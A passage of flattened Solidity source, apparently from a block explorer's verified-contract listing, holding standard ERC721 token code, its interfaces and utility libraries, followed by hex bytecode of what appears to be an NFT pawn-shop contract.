`tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b50600436106102485760003560e01c806358aba00f1161013b578063a22cb465116100b8578063c72b63c31161007c578063c72b63c314610733578063c87b56dd14610763578063e926e9af14610793578063e985e9c5146107c3578063fa713083146107f357610248565b8063a22cb4651461066b578063accc04da14610687578063b2f9ac90146106b7578063b88d4fde146106e7578063c643d0ec1461070357610248565b80638bd0425a116100ff5780638bd0425a146105c75780639003b344146105e357806395d89b41146105ff57806399c91fc41461061d578063a16254711461063b57610248565b806358aba00f146105115780636352211e1461052d5780636bf301a41461055d57806370a082311461057b5780637468ac88146105ab57610248565b806320e14e49116101c957806342842e0e1161018d57806342842e0e1461046f578063454dd03c1461048b578063481c6a75146104a75780634f6ccce7146104c55780635060599c146104f557610248565b806320e14e49146103bb57806323b872dd146103d757806325dc4c8c146103f35780632a7e51341461040f5780632f745c591461043f57610248565b8063095ea7b311610210578063095ea7b3146103035780630b4cac1b1461031f57806310780bed1461034f57806318160ddd1461037f5780631b6da7771461039d57610248565b806301ffc9a71461024d5780630209fd801461027d578063053050931461029957806306fdde03146102b5578063081812fc146102d3575b600080fd5b61026760048036038101906102629190614565565b61082d565b6040516102749190614d24565b60405180910390f35b610297600480360381019061029291906146e1565b6108a7565b005b6102b360048036038101906102ae91906144ed565b610ef3565b005b6102bd6110e2565b6040516102ca9190614d3f565b60405180910390f35b6102ed60048036038101906102e891906145b7565b611174565b6040516102fa9190614bb2565b60405180910390f35b61031d600480360381019061031891906144b1565b6111f9565b005b610339600480360381019061033491906145b7565b611311565b604051610346919061509c565b60405180910390f35b610369600480360381019061036491906145b7565b6113b6565b604051610376919061509c565b60405180910390f35b61038761142c565b604051610394919061509c565b60405180910390f35b6103a5611439565b6040516103b29190615081565b60405180910390f35b6103d560048036038101906103d091906145b7565b61145b565b005b6103f160048036038101906103ec91906143ab565b611684565b005b61040d600480360381019061040891906146a5565b6116e4565b005b610429600480360381019061042491906145b7565b6118c4565b604051610436919061509c565b60405180910390f35b610459600480360381019061045491906144b1565b611942565b604051610466919061509c565b60405180910390f35b610489600480360381019061048491906143ab565b6119e7565b005b6104a560048036038101906104a0919061461c565b611a07565b005b6104af611b74565b6040516104bc9190614bb2565b60405180910390f35b6104df60048036038101906104da91906145b7565b611b9a565b6040516104ec919061509c565b60405180910390f35b61050f600480360381019061050a91906145b7565b611c31565b005b61052b6004803603810190610526919061431d565b611eb1565b005b610547600480360381019061054291906145b7565b611f85565b6040516105549190614bb2565b60405180910390f35b610565612037565b604051610572919061509c565b60405180910390f35b6105956004803603810190610590919061431d565b61203d565b6040516105a2919061509c565b60405180910390f35b6105c560048036038101906105c091906146a5565b6120f5565b005b6105e160048036038101906105dc91906145b7565b61234b565b005b6105fd60048036038101906105f8919061431d565b61283a565b005b61060761299f565b6040516106149190614d3f565b60405180910390f35b610625612a31565b6040516106329190614bb2565b60405180910390f35b610655600480360381019061065091906145e0565b612a57565b604051610662919061509c565b60405180910390f35b61068560048036038101906106809190614475565b612af9565b005b6106a1600480360381019061069c91906145b7565b612c7a565b6040516106ae919061509c565b60405180910390f35b6106d160048036038101906106cc919061431d565b612cf6565b6040516106de919061509c565b60405180910390f35b61070160048036038101906106fc91906143fa565b612d0e565b005b61071d600480360381019061071891906145b7565b612d70565b60405161072a919061509c565b60405180910390f35b61074d600480360381019061074891906145b7565b612dcf565b60405161075a919061509c565b60405180910390f35b61077d600480360381019061077891906145b7565b612e2e565b60405161078a9190614d3f565b60405180910390f35b6107ad60048036038101906107a891906145b7565b612ed5565b6040516107ba919061509c565b60405180910390f35b6107dd60048036038101906107d8919061436f565b612f4f565b6040516107ea9190614d24565b60405180910390f35b61080d600480360381019061080891906145b7565b612fe3565b6040516108249b9a99989796959493929190614c50565b60405180910390f35b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806108a0575061089f82613097565b5b9050919050565b83600c548111156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490614de1565b60405180910390fd5b6000600b600087815260200190815260200160002090508060090160009054906101000a900460ff1615610956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094d90615061565b60405180910390fd5b60006109658260030154612dcf565b905085811015801561097b575084826006015411155b801561098b575083826007015411155b6109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c190614e41565b60405180910390fd5b600080836005015414610d615784836007015410806109ec5750858360060154105b806109f657508682115b610a35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2c90614d61565b60405180910390fd5b610a9b600a54610a8d84610a7f610a6c6001610a5e8a600501544361317990919063ffffffff16565b61317990919063ffffffff16565b886007015461318f90919063ffffffff16565b61318f90919063ffffffff16565b6131a590919063ffffffff16565b90508260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd33308489610aeb9190615150565b6040518463ffffffff1660e01b8152600401610b0993929190614bcd565b602060405180830381600087803b158015610b2357600080fd5b505af1158015610b37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5b919061453c565b506000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e8a6040518263ffffffff1660e01b8152600401610bb9919061509c565b60206040518083038186803b158015610bd157600080fd5b505afa158015610be5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c099190614346565b9050836007015482600d60008c815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c6c9190615150565b610c769190615150565b600d60008b815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166302ca8acf82338c6040518463ffffffff1660e01b8152600401610d2993929190614bcd565b600060405180830381600087803b158015610d4357600080fd5b505af1158015610d57573d6000803e3d6000fd5b5050505050610ea5565b8260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330886040518463ffffffff1660e01b8152600401610dc293929190614bcd565b602060405180830381600087803b158015610ddc57600080fd5b505af1158015610df0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e14919061453c565b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632adf2d2c338a6040518363ffffffff1660e01b8152600401610e72929190614cfb565b600060405180830381600087803b158015610e8c57600080fd5b505af1158015610ea0573d6000803e3d6000fd5b505050505b610eae87612d70565b8360030181905550808360040154610ec69190615150565b83600401819055504383600501819055508583600601819055508483600701819055505050505050505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7a90614f61565b60405180910390fd5b61100c826040518060400160405280601f81526020017f4e46545061776e53686f703a20496e73756666696369656e742066756e647300815250601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131bb9092919063ffffffff16565b601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82846040518363ffffffff1660e01b815260040161108a929190614cfb565b602060405180830381600087803b1580156110a457600080fd5b505af11580156110b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110dc919061453c565b50505050565b6060600080546110f190615337565b80601f016020809104026020016040519081016040528092919081815260200182805461111d90615337565b801561116a5780601f1061113f5761010080835404028352916020019161116a565b820191906000526020600020905b81548152906001019060200180831161114d57829003601f168201915b5050505050905090565b600061117f82613210565b6111be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b590614f21565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061120482611f85565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90614fa1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1661129461327c565b73ffffffffffffffffffffffffffffffffffffffff1614806112c357506112c2816112bd61327c565b612f4f565b5b611302576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f990614e81565b60405180910390fd5b61130c8383613284565b505050565b600081600c54811115611359576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135090614de1565b60405180910390fd5b6000600b600085815260200190815260200160002090508060090160009054906101000a900460ff16156113915760009250506113b0565b6113ac8160080154826007015461317990919063ffffffff16565b9250505b50919050565b600081600c548111156113fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f590614de1565b60405180910390fd5b6000600b6000858152602001908152602001600020905061142381826003015461333d565b92505050919050565b6000600880549050905090565b601060009054906101000a90046fffffffffffffffffffffffffffffffff1681565b80600c548111156114a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149890614de1565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166114c183611f85565b73ffffffffffffffffffffffffffffffffffffffff1614611517576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150e90614ea1565b60405180910390fd5b6000600b600084815260200190815260200160002090508060090160009054906101000a900460ff1615611580576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157790615061565b60405180910390fd5b60008160050154146115c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115be90615041565b60405180910390fd5b8060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3061161186611f85565b866040518463ffffffff1660e01b815260040161163093929190614bcd565b600060405180830381600087803b15801561164a57600080fd5b505af115801561165e573d6000803e3d6000fd5b5050505060018160090160006101000a81548160ff021916908315150217905550505050565b61169561168f61327c565b826133e4565b6116d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cb90614fc1565b60405180910390fd5b6116df8383836134c2565b505050565b81600c5481111561172a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172190614de1565b60405180910390fd5b6117a782604051806060016040528060218152602001615c1160219139600d600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131bb9092919063ffffffff16565b600d600085815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b600084815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b815260040161186c929190614cfb565b602060405180830381600087803b15801561188657600080fd5b505af115801561189a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118be919061453c565b50505050565b600081600c5481111561190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390614de1565b60405180910390fd5b6000600b60008581526020019081526020016000209050611939816119348360030154612dcf565b61333d565b92505050919050565b600061194d8361203d565b821061198e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198590614d81565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b611a0283838360405180602001604052806000815250612d0e565b505050565b6000600c60008154611a189061539a565b91905081905590506000600b600083815260200190815260200160002090508673ffffffffffffffffffffffffffffffffffffffff166323b872dd33308b6040518463ffffffff1660e01b8152600401611a7493929190614bcd565b600060405180830381600087803b158015611a8e57600080fd5b505af1158015611aa2573d6000803e3d6000fd5b50505050838160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550848160070181905550878160020181905550868160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550858160030181